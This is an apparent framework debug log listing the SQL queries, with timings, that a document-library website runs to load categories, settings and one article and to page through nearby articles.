  1. CONNECT:[ UseTime:0.000512s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000782s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000344s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000283s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000526s ]
  6. SELECT * FROM `set` [ RunTime:0.000202s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000678s ]
  8. SELECT * FROM `article` WHERE `id` = 498749 LIMIT 1 [ RunTime:0.000470s ]
  9. UPDATE `article` SET `lasttime` = 1775370912 WHERE `id` = 498749 [ RunTime:0.002878s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000240s ]
  11. SELECT * FROM `article` WHERE `id` < 498749 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000468s ]
  12. SELECT * FROM `article` WHERE `id` > 498749 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000372s ]
  13. SELECT * FROM `article` WHERE `id` < 498749 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.000710s ]
  14. SELECT * FROM `article` WHERE `id` < 498749 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.005422s ]
  15. SELECT * FROM `article` WHERE `id` < 498749 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.003240s ]
0.097127s